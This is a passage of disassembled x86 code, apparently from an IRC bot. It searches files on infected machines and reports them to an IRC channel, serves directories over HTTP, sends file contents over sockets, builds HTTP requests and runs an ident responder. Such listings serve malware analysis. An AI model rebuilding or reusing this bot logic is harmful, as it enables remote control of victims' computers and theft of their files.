loc_4101E2:				; CODE XREF: sub_4100B4+121j
		cmp	[ebp+ebx+var_211], 5Ch
		jnz	short loc_4101EF
		mov	[ebp+var_4], esi


loc_4101EF:				; CODE XREF: sub_4100B4+136j
		mov	ebx, [ebp+arg_0]
		cmp	[ebp+var_4], edi
		mov	[ebp+var_6C4], ebx
		mov	[ebp+var_318], edi
		jz	short loc_41026D
		cmp	[ebp+arg_C], edi
		jz	short loc_410261
		lea	eax, [ebp+var_314]
		push	offset asc_434C78 ; "*"
		push	eax
		call	sub_41C8A0
		pop	ecx
		lea	eax, [ebp+var_314]
		pop	ecx
		push	eax
		lea	eax, [ebp+var_640]
		push	eax
		call	sub_41C266
		lea	eax, [ebp+var_210]
		push	eax
		call	sub_410AAE
		add	esp, 0Ch
		lea	eax, [ebp+var_210]
		push	eax
		lea	eax, [ebp+var_53C]
		push	eax
		call	sub_41C266
		or	[ebp+var_330], 0FFFFFFFFh
		pop	ecx
		pop	ecx
		mov	[ebp+var_31C], esi
		jmp	short loc_4102BC
; ---------------------------------------------------------------------------


loc_410261:				; CODE XREF: sub_4100B4+152j
		push	ebx


loc_410262:				; CODE XREF: sub_4100B4+126j
		call	dword_4CBA6C
		jmp	loc_410364
; ---------------------------------------------------------------------------


loc_41026D:				; CODE XREF: sub_4100B4+14Dj
		push	edi
		push	edi
		push	3
		push	edi
		push	esi
		lea	eax, [ebp+var_314]
		push	80000000h
		push	eax
		nop
		call	near ptr 2730786h
		mov	esi, eax
		cmp	esi, 0FFFFFFFFh
		jz	short loc_4102BC
		lea	eax, [ebp+var_314]
		push	eax
		lea	eax, [ebp+var_640]
		push	eax
		call	sub_41C266
		pop	ecx
		mov	[ebp+var_31C], edi
		pop	ecx
		push	edi
		push	esi
		nop
		call	near ptr 2760B2Ch
		push	esi
		mov	[ebp+var_330], eax
		nop
		call	near ptr 2680157h


loc_4102BC:				; CODE XREF: sub_4100B4+1ABj
					; sub_4100B4+1D6j
		mov	esi, [ebp+arg_10]
		lea	eax, [ebp+var_8C4]
		push	esi
		push	offset unk_434C44
		push	eax
		call	sub_41C266
		push	edi
		lea	eax, [ebp+var_8C4]
		push	3
		push	eax
		call	sub_40B3BA
		mov	[ebp+var_32C], eax
		imul	eax, 234h
		add	esp, 18h
		mov	dword_43E914[eax], esi
		lea	eax, [ebp+var_8]
		push	eax
		lea	eax, [ebp+var_6C4]
		push	edi
		push	eax
		push	offset sub_40FF31
		push	edi
		push	edi
		call	near ptr 26A0060h
		nop
		mov	ecx, [ebp+var_32C]
		imul	ecx, 234h
		cmp	eax, edi
		mov	dword_43E924[ecx], eax
		jz	short loc_410336


loc_410324:				; CODE XREF: sub_4100B4+280j
		cmp	[ebp+var_318], edi
		jnz	short loc_410364
		push	5
		nop
		call	near ptr 26A0000h
		jmp	short loc_410324
; ---------------------------------------------------------------------------


loc_410336:				; CODE XREF: sub_4100B4+26Ej
		push	ebx
		call	dword_4CBA6C
		nop
		call	near ptr 26A096Ch
		push	eax
		lea	eax, [ebp+var_8C4]
		push	offset unk_434C0C
		push	eax
		call	sub_41C266
		lea	eax, [ebp+var_8C4]
		push	eax
		call	sub_415D38
		add	esp, 10h


loc_410364:				; CODE XREF: sub_4100B4+1B4j
					; sub_4100B4+276j
		pop	edi
		pop	esi
		xor	eax, eax
		pop	ebx
		leave
		retn
sub_4100B4	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41036B	proc near		; CODE XREF: sub_401ACD+75E3p
					; sub_40FF31+15Ap

var_594		= byte ptr -594h
var_490		= byte ptr -490h
var_388		= dword	ptr -388h
var_374		= byte ptr -374h
var_368		= dword	ptr -368h
var_35C		= byte ptr -35Ch
var_248		= byte ptr -248h
var_48		= byte ptr -48h
var_20		= byte ptr -20h
var_18		= word ptr -18h
var_16		= word ptr -16h
var_12		= word ptr -12h
var_10		= word ptr -10h
var_E		= word ptr -0Eh
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		sub	esp, 594h
		push	ebx
		push	esi
		push	edi
		xor	ebx, ebx
		push	104h
		lea	eax, [ebp+var_594]
		push	ebx
		push	eax
		mov	[ebp+var_4], ebx
		mov	[ebp+var_8], ebx
		call	sub_41BF70
		mov	edi, [ebp+arg_0]
		push	offset asc_42A080 ; "\n"
		push	edi
		call	sub_41CAD4
		add	esp, 14h
		cmp	[ebp+arg_8], ebx
		jz	short loc_4103CA
		push	edi
		mov	esi, 200h
		push	[ebp+arg_8]
		lea	eax, [ebp+var_248]
		push	offset aPrivmsgSSearch ; "PRIVMSG %s :Searching	for: %s\r\n"
		push	esi
		push	eax
		call	sub_41C360
		add	esp, 14h
		jmp	loc_4104C9
; ---------------------------------------------------------------------------


loc_4103CA:				; CODE XREF: sub_41036B+3Aj
		cmp	[ebp+arg_C], ebx
		push	edi
		jz	loc_4104AF
		call	sub_41B9C0
		pop	ecx
		mov	[eax+edi-1], bl
		push	edi
		mov	esi, 200h
		push	offset aHtmlHeadTitleI ; "<HTML>\r\n<HEAD>\r\n<TITLE>Index of %s</TIT"...
		lea	eax, [ebp+var_248]
		push	esi
		push	eax
		call	sub_41C360
		add	esp, 10h
		lea	eax, [ebp+var_248]
		push	ebx
		push	eax
		call	sub_41B9C0
		pop	ecx
		push	eax
		lea	eax, [ebp+var_248]
		push	eax
		push	[ebp+arg_4]
		call	dword_4CBA24
		push	edi
		push	offset aH1IndexOfSH1Ta ; "<H1>Index of %s</H1>\r\n<TABLE BORDER=\"0\""...
		lea	eax, [ebp+var_248]
		push	esi
		push	eax
		call	sub_41C360
		add	esp, 10h
		lea	eax, [ebp+var_248]
		push	ebx
		push	eax
		call	sub_41B9C0
		pop	ecx
		push	eax
		lea	eax, [ebp+var_248]
		push	eax
		push	[ebp+arg_4]
		call	dword_4CBA24
		push	edi
		call	sub_41B9C0
		pop	ecx
		mov	byte ptr [eax+edi], 2Ah
		push	3Ch
		push	96h
		push	0E6h
		push	offset aTrTdWidthDCode ; "<TR>\r\n<TD WIDTH=\"%d\"><CODE>Name</CODE><"...
		lea	eax, [ebp+var_248]
		push	esi
		push	eax
		call	sub_41C360
		add	esp, 18h
		lea	eax, [ebp+var_248]
		push	ebx
		push	eax
		call	sub_41B9C0
		pop	ecx
		push	eax
		lea	eax, [ebp+var_248]
		push	eax
		push	[ebp+arg_4]
		call	dword_4CBA24
		push	offset aTrTdColspan3Hr ; "<TR>\r\n<TD COLSPAN=\"3\"><HR></TD>\r\n</TR>\r"...
		lea	eax, [ebp+var_248]
		push	esi
		push	eax
		call	sub_41C360
		add	esp, 0Ch
		jmp	short loc_4104C9
; ---------------------------------------------------------------------------


loc_4104AF:				; CODE XREF: sub_41036B+63j
		mov	esi, 200h
		push	offset aSearchingForS ;	"Searching for:	%s\r\n"
		lea	eax, [ebp+var_248]
		push	esi
		push	eax
		call	sub_41C360
		add	esp, 10h


loc_4104C9:				; CODE XREF: sub_41036B+5Aj
					; sub_41036B+142j
		lea	eax, [ebp+var_248]
		push	ebx
		push	eax
		call	sub_41B9C0
		pop	ecx
		push	eax
		lea	eax, [ebp+var_248]
		push	eax
		push	[ebp+arg_4]
		call	dword_4CBA24
		cmp	[ebp+arg_C], ebx
		jz	short loc_410564
		push	[ebp+arg_C]
		call	sub_41B9C0
		cmp	eax, 2
		pop	ecx
		jbe	short loc_410564
		push	[ebp+arg_C]
		call	sub_41B9C0
		sub	eax, 3
		pop	ecx
		jz	short loc_410515


loc_410509:				; CODE XREF: sub_41036B+1A8j
		mov	ecx, [ebp+arg_C]
		cmp	byte ptr [eax+ecx], 2Fh
		jz	short loc_410515
		dec	eax
		jnz	short loc_410509


loc_410515:				; CODE XREF: sub_41036B+19Cj
					; sub_41036B+1A5j
		inc	eax
		push	eax
		lea	eax, [ebp+var_594]
		push	[ebp+arg_C]
		push	eax
		call	sub_41BFD0
		add	esp, 0Ch
		lea	eax, [ebp+var_594]
		push	eax
		push	offset aTrTdColspan3AH ; "<TR>\r\n<TD COLSPAN=\"3\"><A HREF=\"%s\"><COD"...
		lea	eax, [ebp+var_248]
		push	esi
		push	eax
		call	sub_41C360
		add	esp, 10h
		lea	eax, [ebp+var_248]
		push	ebx
		push	eax
		call	sub_41B9C0
		pop	ecx
		push	eax
		lea	eax, [ebp+var_248]
		push	eax
		push	[ebp+arg_4]
		call	dword_4CBA24


loc_410564:				; CODE XREF: sub_41036B+180j
					; sub_41036B+18Ej
		lea	eax, [ebp+var_388]
		push	eax
		push	edi
		call	near ptr 2790000h
		nop
		lea	ecx, [ebp+var_388]
		mov	[ebp+arg_0], eax
		push	ecx
		push	eax
		nop
		call	near ptr 2780000h
		test	eax, eax
		jz	loc_410954
		mov	edi, 1FFh


loc_410590:				; CODE XREF: sub_41036B+5E3j
		cmp	[ebp+var_388], ebx
		jz	loc_41093C
		lea	eax, [ebp+var_35C]
		push	offset a__	; ".."
		push	eax
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_41093C
		lea	eax, [ebp+var_35C]
		push	offset a_	; "."
		push	eax
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_41093C
		lea	eax, [ebp+var_20]
		push	eax
		lea	eax, [ebp+var_374]
		push	eax
		nop
		call	near ptr 2770549h
		lea	eax, [ebp+var_18]
		push	eax
		lea	eax, [ebp+var_20]
		push	eax
		nop
		call	near ptr 2770000h
		mov	ax, [ebp+var_10]
		mov	ecx, offset aPm	; "PM"
		cmp	ax, 0Ch
		ja	short loc_410605
		mov	ecx, offset aAm	; "AM"


loc_410605:				; CODE XREF: sub_41036B+293j
		cmp	ax, 0Ch
		movzx	eax, ax
		jbe	short loc_410611
		sub	eax, 0Ch


loc_410611:				; CODE XREF: sub_41036B+2A1j
		push	ecx
		movzx	ecx, [ebp+var_E]
		push	ecx
		push	eax
		movzx	eax, [ebp+var_18]
		push	eax
		movzx	eax, [ebp+var_12]
		push	eax
		movzx	eax, [ebp+var_16]
		push	eax
		lea	eax, [ebp+var_48]
		push	offset a2_2d2_2d4d2_2d ; "%2.2d/%2.2d/%4d  %2.2d:%2.2d %s"
		push	eax
		call	sub_41C266
		add	esp, 20h
		test	byte ptr [ebp+var_388],	10h
		jz	loc_4107B4
		inc	[ebp+var_8]
		cmp	[ebp+arg_8], ebx
		jz	short loc_410685
		lea	eax, [ebp+var_35C]
		push	eax
		push	offset aS	; "<%s>"
		lea	eax, [ebp+var_490]
		push	106h
		push	eax
		call	sub_41C360
		add	esp, 10h
		lea	eax, [ebp+var_48]
		push	eax
		lea	eax, [ebp+var_490]
		push	eax
		push	[ebp+arg_8]
		push	offset aPrivmsgS31s21s ; "PRIVMSG %s :%-31s  %-21s\n"
		jmp	loc_4108FD
; ---------------------------------------------------------------------------


loc_410685:				; CODE XREF: sub_41036B+2E0j
		cmp	[ebp+arg_C], ebx
		jz	loc_41076F
		push	0E6h
		push	offset aTrTdWidthDAHre ; "<TR>\r\n<TD WIDTH=\"%d\"><A HREF=\""
		lea	eax, [ebp+var_248]
		push	edi
		push	eax
		call	sub_41C360
		add	esp, 10h
		lea	eax, [ebp+var_248]
		push	ebx
		push	eax
		call	sub_41B9C0
		pop	ecx
		push	eax
		lea	eax, [ebp+var_248]
		push	eax
		push	[ebp+arg_4]
		call	dword_4CBA24
		lea	eax, [ebp+var_35C]
		push	eax
		lea	eax, [ebp+var_248]
		push	[ebp+arg_C]
		push	offset aSS_0	; "%s%s/"
		push	edi
		push	eax
		call	sub_41C360
		add	esp, 14h
		lea	eax, [ebp+var_248]
		push	ebx
		push	eax
		call	sub_41B9C0
		pop	ecx
		push	eax
		lea	eax, [ebp+var_248]
		push	eax
		push	[ebp+arg_4]
		call	dword_4CBA24
		lea	eax, [ebp+var_35C]
		push	eax
		call	sub_41B9C0
		cmp	eax, 1Eh
		pop	ecx
		lea	eax, [ebp+var_35C]
		push	eax
		jbe	short loc_410725
		push	offset aCode_29sGtCode ; "\"><CODE>%.29s>/</CODE></A>"
		jmp	short loc_41072A
; ---------------------------------------------------------------------------


loc_410725:				; CODE XREF: sub_41036B+3B1j
		push	offset aCodeSCodeA ; "\"><CODE>%s/</CODE></A>"


loc_41072A:				; CODE XREF: sub_41036B+3B8j
		lea	eax, [ebp+var_248]
		push	edi
		push	eax
		call	sub_41C360
		add	esp, 10h
		lea	eax, [ebp+var_248]
		push	ebx
		push	eax
		call	sub_41B9C0
		pop	ecx
		push	eax
		lea	eax, [ebp+var_248]
		push	eax
		push	[ebp+arg_4]
		call	dword_4CBA24
		lea	eax, [ebp+var_48]
		push	3Ch
		push	eax
		push	96h
		push	offset aTdTdWidthDCode ; "</TD>\r\n<TD WIDTH=\"%d\"><CODE>%s</CODE></"...
		push	edi
		jmp	loc_4108FE
; ---------------------------------------------------------------------------


loc_41076F:				; CODE XREF: sub_41036B+31Dj
		lea	eax, [ebp+var_35C]
		push	eax
		push	offset aS	; "<%s>"
		lea	eax, [ebp+var_490]
		push	106h
		push	eax
		call	sub_41C360
		add	esp, 10h
		lea	eax, [ebp+var_48]
		push	eax
		lea	eax, [ebp+var_490]
		push	eax
		push	offset a31s21s	; "%-31s  %-21s\r\n"
		lea	eax, [ebp+var_248]
		push	esi
		push	eax
		call	sub_41C360
		add	esp, 14h
		jmp	loc_41090D
; ---------------------------------------------------------------------------


loc_4107B4:				; CODE XREF: sub_41036B+2D4j
		inc	[ebp+var_4]
		cmp	[ebp+arg_8], ebx
		jz	short loc_4107F3
		push	ebx
		push	[ebp+var_368]
		call	sub_416CC9
		pop	ecx
		pop	ecx
		push	eax
		lea	eax, [ebp+var_48]
		push	eax
		lea	eax, [ebp+var_35C]
		push	eax
		push	[ebp+arg_8]
		push	offset aPrivmsgS31s2_0 ; "PRIVMSG %s :%-31s  %-21s (%s bytes)\n"
		push	esi


loc_4107DF:				; CODE XREF: sub_41036B+577j
		lea	eax, [ebp+var_248]
		push	eax
		call	sub_41C360
		add	esp, 1Ch
		jmp	loc_41090D
; ---------------------------------------------------------------------------


loc_4107F3:				; CODE XREF: sub_41036B+44Fj
		cmp	[ebp+arg_C], ebx
		jz	loc_4108E7
		push	0E6h
		push	offset aTrTdWidthDAHre ; "<TR>\r\n<TD WIDTH=\"%d\"><A HREF=\""
		lea	eax, [ebp+var_248]
		push	edi
		push	eax
		call	sub_41C360
		add	esp, 10h
		lea	eax, [ebp+var_248]
		push	ebx
		push	eax
		call	sub_41B9C0
		pop	ecx
		push	eax
		lea	eax, [ebp+var_248]
		push	eax
		push	[ebp+arg_4]
		call	dword_4CBA24
		lea	eax, [ebp+var_35C]
		push	eax
		lea	eax, [ebp+var_248]
		push	[ebp+arg_C]
		push	offset dword_429AC8
		push	edi
		push	eax
		call	sub_41C360
		add	esp, 14h
		lea	eax, [ebp+var_248]
		push	ebx
		push	eax
		call	sub_41B9C0
		pop	ecx
		push	eax
		lea	eax, [ebp+var_248]
		push	eax
		push	[ebp+arg_4]
		call	dword_4CBA24
		lea	eax, [ebp+var_35C]
		push	eax
		call	sub_41B9C0
		cmp	eax, 1Fh
		pop	ecx
		lea	eax, [ebp+var_35C]
		push	eax
		jbe	short loc_410893
		push	offset aCode_30sGtCode ; "\"><CODE>%.30s></CODE></A>"
		jmp	short loc_410898
; ---------------------------------------------------------------------------


loc_410893:				; CODE XREF: sub_41036B+51Fj
		push	offset aCodeSCodeA_0 ; "\"><CODE>%s</CODE></A>"


loc_410898:				; CODE XREF: sub_41036B+526j
		lea	eax, [ebp+var_248]
		push	edi
		push	eax
		call	sub_41C360
		add	esp, 10h
		lea	eax, [ebp+var_248]
		push	ebx
		push	eax
		call	sub_41B9C0
		pop	ecx
		push	eax
		lea	eax, [ebp+var_248]
		push	eax
		push	[ebp+arg_4]
		call	dword_4CBA24
		mov	eax, [ebp+var_368]
		shr	eax, 0Ah
		push	eax
		lea	eax, [ebp+var_48]
		push	3Ch
		push	eax
		push	96h
		push	offset aTdTdWidthDCo_0 ; "</TD>\r\n<TD WIDTH=\"%d\"><CODE>%s</CODE></"...
		push	edi
		jmp	loc_4107DF
; ---------------------------------------------------------------------------


loc_4108E7:				; CODE XREF: sub_41036B+48Bj
		push	[ebp+var_368]
		lea	eax, [ebp+var_48]
		push	eax
		lea	eax, [ebp+var_35C]
		push	eax
		push	offset a31s21sIBytes ; "%-31s  %-21s (%i bytes)\r\n"


loc_4108FD:				; CODE XREF: sub_41036B+315j
		push	esi


loc_4108FE:				; CODE XREF: sub_41036B+3FFj
		lea	eax, [ebp+var_248]
		push	eax
		call	sub_41C360
		add	esp, 18h


loc_41090D:				; CODE XREF: sub_41036B+444j
					; sub_41036B+483j
		lea	eax, [ebp+var_248]
		push	ebx
		push	eax
		call	sub_41B9C0
		pop	ecx
		push	eax
		lea	eax, [ebp+var_248]
		push	eax
		push	[ebp+arg_4]
		call	dword_4CBA24
		cmp	[ebp+arg_8], ebx
		jz	short loc_41093C
		push	7D0h
		nop
		call	near ptr 26A0000h


loc_41093C:				; CODE XREF: sub_41036B+22Bj
					; sub_41036B+246j ...
		lea	eax, [ebp+var_388]
		push	eax
		push	[ebp+arg_0]
		nop
		call	near ptr 2780000h
		test	eax, eax
		jnz	loc_410590


loc_410954:				; CODE XREF: sub_41036B+21Aj
		push	[ebp+arg_0]
		nop
		call	near ptr 25E0000h
		cmp	[ebp+arg_8], ebx
		jz	short loc_410997
		mov	eax, [ebp+var_8]
		cdq
		push	edx
		push	eax
		call	sub_416CC9
		pop	ecx
		pop	ecx
		push	eax
		mov	eax, [ebp+var_4]
		cdq
		push	edx
		push	eax
		call	sub_416CC9
		pop	ecx
		pop	ecx
		push	eax
		lea	eax, [ebp+var_248]
		push	[ebp+arg_8]
		push	offset aPrivmsgSFoundS ; "PRIVMSG %s :Found %s Files and %s Direc"...
		push	eax
		call	sub_41C266
		add	esp, 14h
		jmp	short loc_4109CB
; ---------------------------------------------------------------------------


loc_410997:				; CODE XREF: sub_41036B+5F5j
		cmp	[ebp+arg_C], ebx
		jz	short loc_4109B1
		lea	eax, [ebp+var_248]
		push	offset aTrTdColspan3_0 ; "<TR>\r\n<TD COLSPAN=\"3\"><HR></TD>\r\n</TR>\r"...
		push	eax
		call	sub_41C266
		pop	ecx
		pop	ecx
		jmp	short loc_4109CB
; ---------------------------------------------------------------------------


loc_4109B1:				; CODE XREF: sub_41036B+62Fj
		push	[ebp+var_8]
		lea	eax, [ebp+var_248]
		push	[ebp+var_4]
		push	offset aFoundIFilesAnd ; "Found: %i Files and %i Directories\r\n"
		push	eax
		call	sub_41C266
		add	esp, 10h


loc_4109CB:				; CODE XREF: sub_41036B+62Aj
					; sub_41036B+644j
		lea	eax, [ebp+var_248]
		push	ebx
		push	eax
		call	sub_41B9C0
		pop	ecx
		push	eax
		lea	eax, [ebp+var_248]
		push	eax
		push	[ebp+arg_4]
		call	dword_4CBA24
		pop	edi
		pop	esi
		xor	eax, eax
		pop	ebx
		leave
		retn
sub_41036B	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4109F1	proc near		; CODE XREF: sub_40FF31+13Cp

var_404		= byte ptr -404h
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 404h
		push	ebx
		push	esi
		xor	esi, esi
		push	edi
		push	esi
		push	esi
		push	3
		push	esi
		push	1
		push	80000000h
		push	[ebp+arg_4]
		mov	edi, 400h
		mov	[ebp+var_4], esi
		nop
		call	near ptr 2730786h
		mov	ebx, eax
		cmp	ebx, 0FFFFFFFFh
		jz	loc_410AA9
		push	esi
		push	ebx
		nop
		call	near ptr 2760B2Ch
		cmp	eax, esi
		mov	[ebp+arg_4], eax
		jz	short loc_410AA2


loc_410A36:				; CODE XREF: sub_4109F1+AFj
		push	400h
		lea	eax, [ebp+var_404]
		push	esi
		push	eax
		call	sub_41BF70
		add	esp, 0Ch
		cmp	edi, [ebp+arg_4]
		jbe	short loc_410A53
		mov	edi, [ebp+arg_4]


loc_410A53:				; CODE XREF: sub_4109F1+5Dj
		mov	eax, [ebp+arg_4]
		push	2
		neg	eax
		push	esi
		push	eax
		push	ebx
		nop
		call	near ptr 27A0000h
		lea	eax, [ebp+var_4]
		push	esi
		push	eax
		lea	eax, [ebp+var_404]
		push	edi
		push	eax
		push	ebx
		nop
		call	near ptr 2711089h
		push	esi
		lea	eax, [ebp+var_404]
		push	edi
		push	eax
		push	[ebp+arg_0]
		call	dword_4CBA24
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_410A9D
		call	dword_4CB968
		cmp	eax, 2733h
		jnz	short loc_410AA2
		xor	eax, eax


loc_410A9D:				; CODE XREF: sub_4109F1+9Bj
		sub	[ebp+arg_4], eax
		jnz	short loc_410A36


loc_410AA2:				; CODE XREF: sub_4109F1+43j
					; sub_4109F1+A8j
		push	ebx
		nop
		call	near ptr 2680157h


loc_410AA9:				; CODE XREF: sub_4109F1+30j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_4109F1	endp


; =============== S U B	R O U T	I N E =======================================



sub_410AAE	proc near		; CODE XREF: sub_4100B4+181p

arg_0		= dword	ptr  4

		push	esi
		push	edi
		mov	edi, [esp+8+arg_0]
		xor	esi, esi
		push	edi
		call	sub_41B9C0
		test	eax, eax
		pop	ecx
		jbe	short loc_410AD7


loc_410AC1:				; CODE XREF: sub_410AAE+27j
		cmp	byte ptr [esi+edi], 5Ch
		jnz	short loc_410ACB
		mov	byte ptr [esi+edi], 2Fh


loc_410ACB:				; CODE XREF: sub_410AAE+17j
		push	edi
		inc	esi
		call	sub_41B9C0
		cmp	esi, eax
		pop	ecx
		jb	short loc_410AC1


loc_410AD7:				; CODE XREF: sub_410AAE+11j
		mov	eax, edi
		pop	edi
		pop	esi
		retn
sub_410AAE	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_410ADC	proc near		; CODE XREF: sub_401ACD+51B7p

var_4A0		= byte ptr -4A0h
var_310		= byte ptr -310h
var_110		= byte ptr -110h
var_10		= word ptr -10h
var_E		= word ptr -0Eh
var_C		= dword	ptr -0Ch
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h
arg_14		= dword	ptr  1Ch
arg_18		= dword	ptr  20h
arg_1C		= dword	ptr  24h
arg_20		= dword	ptr  28h

		push	ebp
		mov	ebp, esp
		sub	esp, 4A0h
		push	ebx
		lea	eax, [ebp+var_4A0]
		push	edi
		push	eax
		push	101h
		call	dword_4CB944
		push	6
		push	1
		push	2
		call	dword_4CBA54
		mov	ebx, eax
		xor	edi, edi
		push	10h
		lea	eax, [ebp+var_10]
		push	edi
		push	eax
		call	sub_41BF70
		add	esp, 0Ch
		mov	[ebp+var_10], 2
		push	[ebp+arg_14]
		call	dword_4CB9D4
		push	[ebp+arg_10]
		mov	[ebp+var_E], ax
		call	sub_40A8F0
		pop	ecx
		mov	[ebp+var_C], eax
		lea	eax, [ebp+var_10]
		push	10h
		push	eax
		push	ebx
		call	dword_4CB97C
		cmp	eax, 0FFFFFFFFh
		jz	short loc_410BB9
		mov	eax, [ebp+arg_20]
		cmp	eax, edi
		jnz	short loc_410B55
		mov	eax, offset byte_43DB88


loc_410B55:				; CODE XREF: sub_410ADC+72j
		push	esi
		mov	esi, 100h
		push	[ebp+arg_10]
		push	eax
		lea	eax, [ebp+var_110]
		push	[ebp+arg_1C]
		push	[ebp+arg_18]
		push	offset aSSHttp1_1Refer ; "%s %s	HTTP/1.1\nReferer: %s\nHost: %s\nCon"...
		push	esi
		push	eax
		call	sub_41C360
		add	esp, 1Ch
		lea	eax, [ebp+var_110]
		push	edi
		push	eax
		call	sub_41B9C0
		pop	ecx
		push	eax
		lea	eax, [ebp+var_110]
		push	eax
		push	ebx
		call	dword_4CBA24
		push	esi
		lea	eax, [ebp+var_110]
		push	edi
		push	eax
		call	sub_41CD20
		add	esp, 0Ch
		lea	eax, [ebp+var_110]
		push	edi
		push	esi
		push	eax
		push	ebx
		call	dword_4CB9EC
		pop	esi


loc_410BB9:				; CODE XREF: sub_410ADC+6Bj
		push	ebx
		call	dword_4CBA6C
		call	dword_4CB92C
		lea	eax, [ebp+var_110]
		push	eax
		lea	eax, [ebp+var_310]
		push	eax
		call	sub_41C266
		cmp	[ebp+arg_C], edi
		pop	ecx
		pop	ecx
		jnz	short loc_410BF9
		push	edi
		lea	eax, [ebp+var_310]
		push	[ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_409869
		add	esp, 14h


loc_410BF9:				; CODE XREF: sub_410ADC+102j
		pop	edi
		pop	ebx
		leave
		retn
sub_410ADC	endp

; ---------------------------------------------------------------------------


loc_410BFD:				; DATA XREF: ___:00401666o
					; sub_401ACD+438Bo
		push	ebp
		mov	ebp, esp
		sub	esp, 238h
		push	ebx
		push	esi
		push	edi
		push	10h
		pop	edi
		xor	esi, esi
		push	edi
		lea	eax, [ebp-1Ch]
		push	esi
		push	eax
		mov	[ebp-8], esi
		call	sub_41BF70
		add	esp, 0Ch
		mov	word ptr [ebp-1Ch], 2
		push	71h
		call	dword_4CB9D4
		push	esi
		push	1
		push	2
		mov	[ebp-1Ah], ax
		mov	[ebp-18h], esi
		call	dword_4CBA54
		mov	ebx, eax
		cmp	ebx, 0FFFFFFFFh
		jz	loc_410D61
		mov	eax, [ebp+8]
		push	edi
		imul	eax, 234h
		mov	dword_43E91C[eax], ebx
		lea	eax, [ebp-1Ch]
		push	eax
		push	ebx
		call	dword_4CBA00
		cmp	eax, 0FFFFFFFFh
		jz	loc_410D61
		push	5
		push	ebx
		call	dword_4CB9FC
		cmp	eax, 0FFFFFFFFh
		jz	loc_410D61
		mov	[ebp-0Ch], edi
		mov	edi, 200h


loc_410C88:				; CODE XREF: ___:00410CE7j
					; ___:00410D4Aj ...
		lea	eax, [ebp-0Ch]
		push	eax
		lea	eax, [ebp-2Ch]
		push	eax
		push	ebx
		call	dword_4CBA68
		cmp	eax, 0FFFFFFFFh
		mov	[ebp-4], eax
		jz	loc_410D5C
		movzx	eax, word ptr [ebp-2Ah]
		push	eax
		push	dword ptr [ebp-28h]
		call	dword_4CBA60
		push	eax
		lea	eax, [ebp-238h]
		push	offset dword_435164
		push	eax
		call	sub_41C266
		lea	eax, [ebp-238h]
		push	eax
		call	sub_415D38
		add	esp, 14h
		lea	eax, [ebp-238h]
		push	esi
		push	edi
		push	eax
		push	dword ptr [ebp-4]
		call	dword_4CB9EC
		cmp	eax, 0FFFFFFFFh
		jz	short loc_410C88
		lea	eax, [ebp-238h]
		push	esi
		push	eax
		call	sub_4184CC
		push	0Ch
		lea	eax, [ebp-38h]
		push	esi
		push	eax
		call	sub_41BF70
		push	esi
		push	esi
		lea	eax, [ebp-38h]
		push	2
		push	eax
		call	sub_40AE84
		add	esp, 24h
		push	eax
		push	offset aUseridUnixS ; "	: USERID : UNIX	: %s\r\n"
		lea	eax, [ebp-238h]
		push	edi
		push	eax
		call	sub_41C360
		add	esp, 10h
		lea	eax, [ebp-238h]
		push	esi
		push	eax
		call	sub_41B9C0
		pop	ecx
		push	eax
		lea	eax, [ebp-238h]
		push	eax
		push	dword ptr [ebp-4]
		call	dword_4CBA24
		cmp	eax, 0FFFFFFFFh
		jz	loc_410C88
		mov	dword ptr [ebp-8], 1
		jmp	loc_410C88
; ---------------------------------------------------------------------------


loc_410D5C:				; CODE XREF: ___:00410C9Dj
		cmp	[ebp-8], esi
		jnz	short loc_410D88


loc_410D61:				; CODE XREF: ___:00410C44j
					; ___:00410C68j ...
		call	dword_4CB968
		push	eax
		lea	eax, [ebp-238h]
		push	offset dword_435120
		push	eax
		call	sub_41C266
		lea	eax, [ebp-238h]
		push	eax
		call	sub_415D38
		add	esp, 10h


loc_410D88:				; CODE XREF: ___:00410D5Fj
		push	ebx
		call	dword_4CBA6C
		push	dword ptr [ebp-4]
		call	dword_4CBA6C
		push	dword ptr [ebp+8]
		call	sub_40B6D6
		pop	ecx
		push	esi
		call	near ptr 2700000h
		nop
		pop	edi
		pop	esi
		pop	ebx


loc_410DAB:				; DATA XREF: sub_401ACD+605Do
		push	ebp
		mov	ebp, esp
		sub	esp, 350h
		mov	eax, [ebp+8]
		push	esi
		push	edi
		push	4Ah
		pop	ecx
		mov	esi, eax
		lea	edi, [ebp-150h]
		push	10h
		rep movsd
		pop	edi
		mov	dword ptr [eax+120h], 1
		xor	esi, esi
		push	edi
		lea	eax, [ebp-14h]
		push	esi
		push	eax
		call	sub_41BF70
		add	esp, 0Ch
		mov	word ptr [ebp-14h], 2
		push	dword ptr [ebp-44h]
		call	dword_4CB9D4
		push	6
		push	1
		push	2
		mov	[ebp-12h], ax
		mov	[ebp-10h], esi
		mov	[ebp-4], edi
		call	dword_4CBA54
		cmp	eax, 0FFFFFFFFh
		mov	[ebp+8], eax
		jz	loc_410F17
		mov	ecx, [ebp-40h]
		push	1
		imul	ecx, 234h
		push	401h
		push	esi
		push	eax
		mov	dword_43E91C[ecx], eax
		call	dword_4CB8E4
		lea	eax, [ebp-14h]
		push	edi
		push	eax
		push	dword ptr [ebp+8]
		call	dword_4CBA00
		test	eax, eax
		jnz	loc_410F17
		push	0Ah
		push	dword ptr [ebp+8]
		call	dword_4CB9FC
		test	eax, eax
		jnz	loc_410F17


loc_410E5B:				; CODE XREF: ___:00410E71j
		lea	eax, [ebp-4]
		push	eax
		lea	eax, [ebp-28h]
		push	eax
		push	dword ptr [ebp+8]
		call	dword_4CBA68
